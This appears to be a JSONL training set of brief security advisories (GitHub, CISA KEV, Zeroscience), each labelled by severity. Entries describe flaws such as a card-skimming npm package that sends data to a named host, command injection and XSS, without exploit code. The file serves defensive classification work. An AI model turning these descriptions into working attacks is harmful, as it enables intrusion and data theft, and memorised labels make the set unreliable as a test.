-{"id": "85d9d7f64eeff1f8e635", "text": "Malicious Package in sailclothjs\n\nVersion 1.2.6 of `sailclothjs` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider a downgrade to 1.2.5", "text_raw": "Malicious Package in sailclothjs\n\n[Severity: CRITICAL]\n\nVersion 1.2.6 of `sailclothjs` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider a downgrade to 1.2.5", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "21e6dd6213374857be5a", "text": "Apple iOS, iPadOS, and macOS WebKit Remote Code Execution Vulnerability\n\nAffected: Apple iOS, iPadOS, and macOS\n\nApple iOS, iPadOS, and macOS WebKit contain an unspecified logic vulnerability that allows a remote attacker to execute code. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-1173\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple iOS, iPadOS, and macOS WebKit Remote Code Execution Vulnerability\n\nAffected: Apple iOS, iPadOS, and macOS\n\nApple iOS, iPadOS, and macOS WebKit contain an unspecified logic vulnerability that allows a remote attacker to execute code. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-1173\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "522fd5b79e1903aa9156", "text": "django-nopassword stores secrets in cleartext\n\ndjango-nopassword before 5.0.0 stores cleartext secrets in the database.", "text_raw": "django-nopassword stores secrets in cleartext \n\n[Severity: HIGH]\n\ndjango-nopassword before 5.0.0 stores cleartext secrets in the database.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "b6e67305e56fa271531c", "text": "Server side template injection in Apache Camel\n\nServer-Side Template Injection and arbitrary file disclosure on Camel templating components", "text_raw": "Server side template injection in Apache Camel\n\n[Severity: HIGH]\n\nServer-Side Template Injection and arbitrary file disclosure on Camel templating components", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "98340c3ba596bfda0fe0", "text": "Creation of Temporary File in Directory with Insecure Permissions in auto-generated Java, Scala code\n\n### Impact\n\n**This vulnerability impacts generated code.** If this code was generated as a one-off occasion, not as a part of an automated CI/CD process, this code will remain vulnerable until fixed manually!\n\nOn Unix-Like systems, the system temporary directory is shared between all local users. When files/directories are created, the default `umask` settings for the process are respected. As a result, by default, most processes/apis will create files/directories with the permissions `-rw-r--r--` and `drwxr-xr-x` respectively, unless an API that explicitly sets safe file permissions is used.\n\nThis vulnerability exists due to the use of the JDK method `File.createTempFile`. This method creates an insecure temporary files that can leave application and system data vulnerable to exposure.\n\nAuto-generated code (Java, Scala) that deals with uploading or downloading binary data through API endpoints will create insecure temporary files during the process. For example, if the API endpoint returns a PDF file, the auto-generated clients will first download the PDF into a insecure temporary file that can be read by anyone on the system.\n\nAffected generators: \n - Java\n   - `okhttp-gson` (default library)\n     https://github.com/OpenAPITools/openapi-generator/blob/d85f61ff0cfd6b8cd7063a63f302998a51466269/modules/openapi-generator/src/main/resources/Java/libraries/okhttp-gson/ApiClient.mustache#L1085-L1088\n   - `jersey2`\n     https://github.com/OpenAPITools/openapi-generator/blob/d85f61ff0cfd6b8cd7063a63f302998a51466269/modules/openapi-generator/src/main/resources/Java/libraries/jersey2/ApiClient.mustache#L1035-L1038\n   - `resteasy`\n     https://github.com/OpenAPITools/openapi-generator/blob/d85f61ff0cfd6b8cd7063a63f302998a51466269/modules/openapi-generator/src/main/resources/Java/libraries/resteasy/ApiClient.mustache#L604-L607\n   - `retrofit2`\n      https://github.com/OpenAPITools/openapi-generator/blob/d85f61ff0cfd6b8cd7063a63f302998a51466269/modules/openapi-generator/src/main/resources/Java/libraries/retrofit2/play26/ApiClient.mustache#L202-L208\n - Scala\n   - `scala-finch`\n      https://github.com/OpenAPITools/openapi-generator/blob/764a3b044c19fadf4a0789473cde96a65b77868a/modules/openapi-generator/src/main/resources/scala-finch/api.mustache#L83-L88\n   - `scala-akka`\n      https://github.com/OpenAPITools/openapi-generator/blob/150e24dc553a8ea5230ffb938ed3e6020e972faa/modules/openapi-generator/src/main/resources/scala-akka-http-server/multipartDirectives.mustache#L71-L73\n\n### Patches\n\nThe issue has been patched by changing the generated code to use the JDK method `Files.createTempFile` and released in the v5.1.0 stable version.\n\nThis vulnerability has the same root cause as CVE-2021-21364 from the `swagger-api/swagger-codegen` project as this project and that one both share the same original source tree.\nhttps://github.com/swagger-api/swagger-codegen/security/advisories/GHSA-hpv8-9rq5-hq7w\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [OpenAPI Generator Github repo](https://github.com/openAPITools/openapi-generator/)\n* Email us at [security@openapitools.org](mailto:security@openapitools.org)", "text_raw": "Creation of Temporary File in Directory with Insecure Permissions in auto-generated Java, Scala code\n\n[Severity: MEDIUM]\n\n### Impact\n\n**This vulnerability impacts generated code.** If this code was generated as a one-off occasion, not as a part of an automated CI/CD process, this code will remain vulnerable until fixed manually!\n\nOn Unix-Like systems, the system temporary directory is shared between all local users. When files/directories are created, the default `umask` settings for the process are respected. As a result, by default, most processes/apis will create files/directories with the permissions `-rw-r--r--` and `drwxr-xr-x` respectively, unless an API that explicitly sets safe file permissions is used.\n\nThis vulnerability exists due to the use of the JDK method `File.createTempFile`. This method creates an insecure temporary files that can leave application and system data vulnerable to exposure.\n\nAuto-generated code (Java, Scala) that deals with uploading or downloading binary data through API endpoints will create insecure temporary files during the process. For example, if the API endpoint returns a PDF file, the auto-generated clients will first download the PDF into a insecure temporary file that can be read by anyone on the system.\n\nAffected generators: \n - Java\n   - `okhttp-gson` (default library)\n     https://github.com/OpenAPITools/openapi-generator/blob/d85f61ff0cfd6b8cd7063a63f302998a51466269/modules/openapi-generator/src/main/resources/Java/libraries/okhttp-gson/ApiClient.mustache#L1085-L1088\n   - `jersey2`\n     https://github.com/OpenAPITools/openapi-generator/blob/d85f61ff0cfd6b8cd7063a63f302998a51466269/modules/openapi-generator/src/main/resources/Java/libraries/jersey2/ApiClient.mustache#L1035-L1038\n   - `resteasy`\n     https://github.com/OpenAPITools/openapi-generator/blob/d85f61ff0cfd6b8cd7063a63f302998a51466269/modules/openapi-generator/src/main/resources/Java/libraries/resteasy/ApiClient.mustache#L604-L607\n   - `retrofit2`\n      https://github.com/OpenAPITools/openapi-generator/blob/d85f61ff0cfd6b8cd7063a63f302998a51466269/modules/openapi-generator/src/main/resources/Java/libraries/retrofit2/play26/ApiClient.mustache#L202-L208\n - Scala\n   - `scala-finch`\n      https://github.com/OpenAPITools/openapi-generator/blob/764a3b044c19fadf4a0789473cde96a65b77868a/modules/openapi-generator/src/main/resources/scala-finch/api.mustache#L83-L88\n   - `scala-akka`\n      https://github.com/OpenAPITools/openapi-generator/blob/150e24dc553a8ea5230ffb938ed3e6020e972faa/modules/openapi-generator/src/main/resources/scala-akka-http-server/multipartDirectives.mustache#L71-L73\n\n### Patches\n\nThe issue has been patched by changing the generated code to use the JDK method `Files.createTempFile` and released in the v5.1.0 stable version.\n\nThis vulnerability has the same root cause as CVE-2021-21364 from the `swagger-api/swagger-codegen` project as this project and that one both share the same original source tree.\nhttps://github.com/swagger-api/swagger-codegen/security/advisories/GHSA-hpv8-9rq5-hq7w\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [OpenAPI Generator Github repo](https://github.com/openAPITools/openapi-generator/)\n* Email us at [security@openapitools.org](mailto:security@openapitools.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-11", "split": "train"}
-{"id": "24fba4dafdfb527cddeb", "text": "Microsoft Windows Kernel Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows kernel contains an unspecified vulnerability when handling objects in memory that allows attackers to escalate privileges and execute code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Kernel Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows kernel contains an unspecified vulnerability when handling objects in memory that allows attackers to escalate privileges and execute code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b19428131ebb78a7e569", "text": "Command Injection in onion-oled-js\n\nThis affects all versions up to and including version 0.0.2 of package onion-oled-js. If attacker-controlled user input is given to the scroll function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "text_raw": "Command Injection in onion-oled-js\n\n[Severity: CRITICAL]\n\nThis affects all versions up to and including version 0.0.2 of package onion-oled-js. If attacker-controlled user input is given to the scroll function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "9b799875765e28cb8ebf", "text": "Prototype Pollution in GraphHopper\n\nThis affects the package `com.graphhopper:graphhopper-web-bundle` before 3.2, from 4.0-pre1 and before 4.0. The URL parser could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.", "text_raw": "Prototype Pollution in GraphHopper\n\n[Severity: MEDIUM]\n\nThis affects the package `com.graphhopper:graphhopper-web-bundle` before 3.2, from 4.0-pre1 and before 4.0. The URL parser could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "f02ddaf37ce3116d874a", "text": "dbaudio R1 v2.14.4 DNS-SD Service Unquoted Service Path Privilege Escalation", "text_raw": "dbaudio R1 v2.14.4 DNS-SD Service Unquoted Service Path Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-01-14", "split": "train"}
-{"id": "582592eb8de9b9737265", "text": "Improper Input Validation in Google TensorFlow\n\nMemcpy parameter overlap in Google Snappy library 1.1.4, as used in Google TensorFlow before 1.7.1, could result in a crash or read from other parts of process memory.", "text_raw": "Improper Input Validation in Google TensorFlow\n\n[Severity: HIGH]\n\nMemcpy parameter overlap in Google Snappy library 1.1.4, as used in Google TensorFlow before 1.7.1, could result in a crash or read from other parts of process memory.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-30", "split": "train"}
-{"id": "0ba3eccab838577fbbe1", "text": "Prototype Pollution in unflatten\n\nAll versions of `unflatten` are vulnerable to prototype pollution. The function `unflatten` does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Prototype Pollution in unflatten\n\n[Severity: HIGH]\n\nAll versions of `unflatten` are vulnerable to prototype pollution. The function `unflatten` does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "5d4a5e3a3e4f42c655a8", "text": "Improper Authentication in requests-kerberos\n\npython-requests-Kerberos through 0.5 does not handle mutual authentication", "text_raw": "Improper Authentication in requests-kerberos\n\n[Severity: CRITICAL]\n\npython-requests-Kerberos through 0.5 does not handle mutual authentication", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-10", "split": "train"}
-{"id": "ff2613aee428a2b224e6", "text": "Cryptographically weak CSRF tokens in Apache MyFaces\n\nIn the default configuration, Apache MyFaces Core versions 2.2.0 to 2.2.13, 2.3.0 to 2.3.7, 2.3-next-M1 to 2.3-next-M4, and 3.0.0-RC1 use cryptographically weak implicit and explicit cross-site request forgery (CSRF) tokens. Due to that limitation, it is possible (although difficult) for an attacker to calculate a future CSRF token value and to use that value to trick a user into executing unwanted actions on an application.\n\nMitigation:\nExisting web.xml configuration parameters can be used to direct\nMyFaces to use SecureRandom for CSRF token generation:\n\norg.apache.myfaces.RANDOM_KEY_IN_VIEW_STATE_SESSION_TOKEN=secureRandom\norg.apache.myfaces.RANDOM_KEY_IN_CSRF_SESSION_TOKEN=secureRandom\norg.apache.myfaces.RANDOM_KEY_IN_WEBSOCKET_SESSION_TOKEN=secureRandom", "text_raw": "Cryptographically weak CSRF tokens in Apache MyFaces\n\n[Severity: HIGH]\n\nIn the default configuration, Apache MyFaces Core versions 2.2.0 to 2.2.13, 2.3.0 to 2.3.7, 2.3-next-M1 to 2.3-next-M4, and 3.0.0-RC1 use cryptographically weak implicit and explicit cross-site request forgery (CSRF) tokens. Due to that limitation, it is possible (although difficult) for an attacker to calculate a future CSRF token value and to use that value to trick a user into executing unwanted actions on an application.\n\n\nMitigation:\nExisting web.xml configuration parameters can be used to direct\nMyFaces to use SecureRandom for CSRF token generation:\n\norg.apache.myfaces.RANDOM_KEY_IN_VIEW_STATE_SESSION_TOKEN=secureRandom\norg.apache.myfaces.RANDOM_KEY_IN_CSRF_SESSION_TOKEN=secureRandom\norg.apache.myfaces.RANDOM_KEY_IN_WEBSOCKET_SESSION_TOKEN=secureRandom", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "695ba328e89e1f828565", "text": "Improper Privilege Management in Concrete CMS\n\nPrivilege escalation from Editor to Admin using Groups in Concrete CMS versions 8.5.6 and below. If a group is granted \"view\" permissions on the bulkupdate page, then users in that group can escalate to being an administrator with a specially crafted curl. Fixed by adding a check for group permissions before allowing a group to be moved.", "text_raw": "Improper Privilege Management in Concrete CMS \n\n[Severity: HIGH]\n\nPrivilege escalation from Editor to Admin using Groups in Concrete CMS versions 8.5.6 and below. If a group is granted \"view\" permissions on the bulkupdate page, then users in that group can escalate to being an administrator with a specially crafted curl. Fixed by adding a check for group permissions before allowing a group to be moved.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "7bad7cd713468ddb181d", "text": "pimcore is vulnerable to Cross-Site Request Forgery (CSRF)", "text_raw": "pimcore is vulnerable to Cross-Site Request Forgery (CSRF)\n\n[Severity: MEDIUM]", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "47d556091ca66fb19af3", "text": "Nitro PDF Reader 1.4.0 Remote Heap Memory Corruption / DoS PoC", "text_raw": "Nitro PDF Reader 1.4.0 Remote Heap Memory Corruption / DoS PoC\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-02-26", "split": "train"}
-{"id": "77a9f11ce0aa45215045", "text": "Improper hashing in enrocrypt\n\n### Impact\nThe vulnerability is we used MD5 hashing Algorithm In our hashing file. If anyone who is a beginner(and doesn't know about hashes)  can face problems as MD5 is considered a Insecure Hashing Algorithm.\n\n### Patches\nThe vulnerability is patched in v1.1.4 of the product, the users can upgrade to version 1.1.4.\n\n### Workarounds\nIf u specifically want a version and don't want to upgrade, you can remove the `MD5` hashing function from the file `hashing.py` and this vulnerability will be gone\n\n### References\nhttps://www.cybersecurity-help.cz/vdb/cwe/916/\nhttps://www.cybersecurity-help.cz/vdb/cwe/327/\nhttps://www.cybersecurity-help.cz/vdb/cwe/328/\nhttps://www.section.io/engineering-education/what-is-md5/\nhttps://www.johndcook.com/blog/2019/01/24/reversing-an-md5-hash/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [**Enrocrypt's Official Repo**](http://www.github.com/Morgan-Phoenix/EnroCrypt)\n* Create a Discussion in  [**Enrocrypt's Official Repo**](http://www.github.com/Morgan-Phoenix/EnroCrypt)", "text_raw": "Improper hashing in enrocrypt\n\n[Severity: HIGH]\n\n### Impact\nThe vulnerability is we used MD5 hashing Algorithm In our hashing file. If anyone who is a beginner(and doesn't know about hashes)  can face problems as MD5 is considered a Insecure Hashing Algorithm. \n\n### Patches\nThe vulnerability is patched in v1.1.4 of the product, the users can upgrade to version 1.1.4.\n\n### Workarounds\nIf u specifically want a version and don't want to upgrade, you can remove the `MD5` hashing function from the file `hashing.py` and this vulnerability will be gone\n\n### References\nhttps://www.cybersecurity-help.cz/vdb/cwe/916/\nhttps://www.cybersecurity-help.cz/vdb/cwe/327/\nhttps://www.cybersecurity-help.cz/vdb/cwe/328/\nhttps://www.section.io/engineering-education/what-is-md5/\nhttps://www.johndcook.com/blog/2019/01/24/reversing-an-md5-hash/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [**Enrocrypt's Official Repo**](http://www.github.com/Morgan-Phoenix/EnroCrypt)\n* Create a Discussion in  [**Enrocrypt's Official Repo**](http://www.github.com/Morgan-Phoenix/EnroCrypt)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "4c108489ea11fea917f1", "text": "CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities", "text_raw": "CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-01-22", "split": "train"}
-{"id": "c8fa28ae4d8752a54888", "text": "Cross-site Scripting in shuup\n\nIn Shuup, versions 1.6.0 through 2.10.8 are vulnerable to reflected Cross-Site Scripting (XSS) that allows execution of arbitrary javascript code on a victim browser. This vulnerability exists due to the error page contents not escaped.", "text_raw": "Cross-site Scripting in shuup\n\n[Severity: MEDIUM]\n\nIn Shuup, versions 1.6.0 through 2.10.8 are vulnerable to reflected Cross-Site Scripting (XSS) that allows execution of arbitrary javascript code on a victim browser. This vulnerability exists due to the error page contents not escaped.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-04", "split": "train"}
-{"id": "dfeb295424de698cb4e6", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Open Redirect", "text_raw": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Open Redirect\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-07-17", "split": "train"}
-{"id": "640036c69272924cc858", "text": "COMMAX Biometric Access Control System 1.0.0 Authentication Bypass", "text_raw": "COMMAX Biometric Access Control System 1.0.0 Authentication Bypass\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-08-15", "split": "train"}
-{"id": "16c06c6ba22fe7cd5811", "text": "Zoho ManageEngine ServiceDesk Plus Remote Code Execution Vulnerability\n\nAffected: Zoho ManageEngine ServiceDesk Plus (SDP) / SupportCenter Plus\n\nZoho ManageEngine ServiceDesk Plus before 11306, ServiceDesk Plus MSP before 10530, and SupportCenter Plus before 11014 are vulnerable to unauthenticated remote code execution\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Zoho ManageEngine ServiceDesk Plus Remote Code Execution Vulnerability\n\nAffected: Zoho ManageEngine ServiceDesk Plus (SDP) / SupportCenter Plus\n\nZoho ManageEngine ServiceDesk Plus before 11306, ServiceDesk Plus MSP before 10530, and SupportCenter Plus before 11014 are vulnerable to unauthenticated remote code execution\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-01", "split": "train"}
-{"id": "6d96859b701236d226b4", "text": "Command Injection in wxchangba\n\nAll versions of `wxchangba` are vulnerable to Command Injection. The package does not validate user input on the `reqPostMaterial` function, passing contents of the `file` parameter to an exec call. This may allow attackers to run arbitrary commands in the system.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Command Injection in wxchangba\n\n[Severity: MEDIUM]\n\nAll versions of `wxchangba` are vulnerable to Command Injection. The package does not validate user input on the `reqPostMaterial` function, passing contents of the `file` parameter to an exec call. This may allow attackers to run arbitrary commands in the system.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "2ca24f5cb91f71f95158", "text": "Malicious Package in requeest\n\nAll versions of `requeest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in requeest\n\n[Severity: CRITICAL]\n\nAll versions of `requeest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "90edd10d5cd2ef09df04", "text": "Open Redirect in firefly-iii\n\nfirefly-iii is vulnerable to URL Redirection to Untrusted Site", "text_raw": "Open Redirect in firefly-iii\n\n[Severity: MEDIUM]\n\nfirefly-iii is vulnerable to URL Redirection to Untrusted Site ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-21", "split": "train"}
-{"id": "54b7691a39992fd96c33", "text": "metascraper before v5.2.0 vulnerable to stored cross-site scripting\n\nVersions of `metascraper` prior to 5.2.0 are vulnerable to stored cross-site scripting (XSS).\n\n## Recommendation\n\nUpgrade to version 5.2.0 or later.", "text_raw": "metascraper before v5.2.0 vulnerable to stored cross-site scripting\n\n[Severity: MEDIUM]\n\nVersions of `metascraper` prior to 5.2.0 are vulnerable to stored cross-site scripting (XSS).\n\n\n## Recommendation\n\nUpgrade to version 5.2.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-08", "split": "train"}
-{"id": "1ab7ed2d4e0b39bdffdc", "text": "rgpg Code Injection vulnerability\n\nThe `self.run_gpg` function in `lib/rgpg/gpg_helper.rb` in the rgpg gem before 0.2.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors.", "text_raw": "rgpg Code Injection vulnerability\n\n[Severity: HIGH]\n\nThe `self.run_gpg` function in `lib/rgpg/gpg_helper.rb` in the rgpg gem before 0.2.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "1ffa09c36d397f838ec1", "text": "An issue in Atomix v3.1.5 allows attackers to cause a denial of service (DoS) via false link event messages sent to a master ONOS node.", "text_raw": "An issue in Atomix v3.1.5 allows attackers to cause a denial of service (DoS) via false link event messages sent to a master ONOS node.\n\n[Severity: HIGH]", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "791ba7ace7d14dbdabc1", "text": "Acoustica Pianissimo 1.0 Build 12 (Registration ID) Buffer Overflow PoC", "text_raw": "Acoustica Pianissimo 1.0 Build 12 (Registration ID) Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-05-24", "split": "train"}
-{"id": "6b5b5222e89092272063", "text": "SQL Buddy 1.3.3 (GET/POST) Multiple Remote Cross-Site Scripting Vulnerabilities", "text_raw": "SQL Buddy 1.3.3 (GET/POST) Multiple Remote Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-02-17", "split": "train"}
-{"id": "7579d89a1cb0a7be05e8", "text": "Authentication bypass issue in the Operator Console\n\nDuring an internal security audit, we detected an authentication bypass issue in the Operator Console when an external IDP is enabled. The security issue has been reported internally. We have not observed this exploit in the wild or reported elsewhere in the community at large. All users are advised to upgrade ASAP.\n\n### Impact\n\nAll users on release v0.12.2 and before are affected.\n\n### Patches\n\nThis issue was fixed by PR https://github.com/minio/console/pull/1217, users should upgrade to latest release.\n\n### Workarounds\n\nAdd `automountServiceAccountToken: false` to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the `CONSOLE_IDP_URL`, `CONSOLE_IDP_CLIENT_ID`, `CONSOLE_IDP_SECRET` and `CONSOLE_IDP_CALLBACK` environment variable and instead use the Kubernetes service account token.\n\n### References\n\n#1217 for more information on the fix and how it was fixed.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [console issues](https://github.com/minio/console/issues)\n* Email us at [security@minio.io](mailto:security@minio.io)", "text_raw": "Authentication bypass issue in the Operator Console\n\n[Severity: HIGH]\n\nDuring an internal security audit, we detected an authentication bypass issue in the Operator Console when an external IDP is enabled. The security issue has been reported internally. We have not observed this exploit in the wild or reported elsewhere in the community at large. All users are advised to upgrade ASAP.\n\n### Impact\n\nAll users on release v0.12.2 and before are affected.\n\n### Patches\n\nThis issue was fixed by PR https://github.com/minio/console/pull/1217, users should upgrade to latest release.\n\n### Workarounds\n\nAdd `automountServiceAccountToken: false` to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the `CONSOLE_IDP_URL`, `CONSOLE_IDP_CLIENT_ID`, `CONSOLE_IDP_SECRET` and `CONSOLE_IDP_CALLBACK` environment variable and instead use the Kubernetes service account token.\n\n### References\n\n#1217 for more information on the fix and how it was fixed.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [console issues](https://github.com/minio/console/issues)\n* Email us at [security@minio.io](mailto:security@minio.io)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "3191b1bcb92d41b36e0e", "text": "Vulnerability that affects org.apache.pdfbox:pdfbox\n\nApache PDFBox 2.0.14 does not properly initialize the XML parser, which allows context-dependent attackers to conduct XML External Entity (XXE) attacks via a crafted XFDF.", "text_raw": "Vulnerability that affects org.apache.pdfbox:pdfbox\n\n[Severity: CRITICAL]\n\nApache PDFBox 2.0.14 does not properly initialize the XML parser, which allows context-dependent attackers to conduct XML External Entity (XXE) attacks via a crafted XFDF.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "c7e9f5ceb16729d521aa", "text": "Out-of-bounds write in ChakraCore\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1139, CVE-2019-1140, CVE-2019-1141, CVE-2019-1195, CVE-2019-1197.", "text_raw": "Out-of-bounds write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1139, CVE-2019-1140, CVE-2019-1141, CVE-2019-1195, CVE-2019-1197.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "76b1abf425fbb9660acb", "text": "Uninitialized memory exposure in claxon\n\nAffected versions of Claxon made an invalid assumption about the decode buffer size being a multiple of a value read from the bitstream. This could cause parts of the decode buffer to not be overwritten. If the decode buffer was newly allocated and uninitialized, this uninitialized memory could be exposed.\n\nThis allows an attacker to observe parts of the uninitialized memory in the decoded audio stream.\n\nThe flaw was corrected by checking that the value read from the bitstream divides the decode buffer size, and returning a format error if it does not. If an error is returned, the decode buffer is not exposed. Regression tests and an additional fuzzer have been added to prevent similar flaws in the future.", "text_raw": "Uninitialized memory exposure in claxon\n\n[Severity: MEDIUM]\n\nAffected versions of Claxon made an invalid assumption about the decode buffer size being a multiple of a value read from the bitstream. This could cause parts of the decode buffer to not be overwritten. If the decode buffer was newly allocated and uninitialized, this uninitialized memory could be exposed.\n\nThis allows an attacker to observe parts of the uninitialized memory in the decoded audio stream.\n\nThe flaw was corrected by checking that the value read from the bitstream divides the decode buffer size, and returning a format error if it does not. If an error is returned, the decode buffer is not exposed. Regression tests and an additional fuzzer have been added to prevent similar flaws in the future.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "d9ae477d7ffcd7b51bf5", "text": "Cross-site Scripting in YII2-CMS\n\nYII2-CMS v1.0 has XSS in protected\\core\\modules\\home\\models\\Contact.php via a name field to /contact.html.", "text_raw": "Cross-site Scripting in YII2-CMS\n\n[Severity: MEDIUM]\n\nYII2-CMS v1.0 has XSS in protected\\core\\modules\\home\\models\\Contact.php via a name field to /contact.html.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-14", "split": "train"}
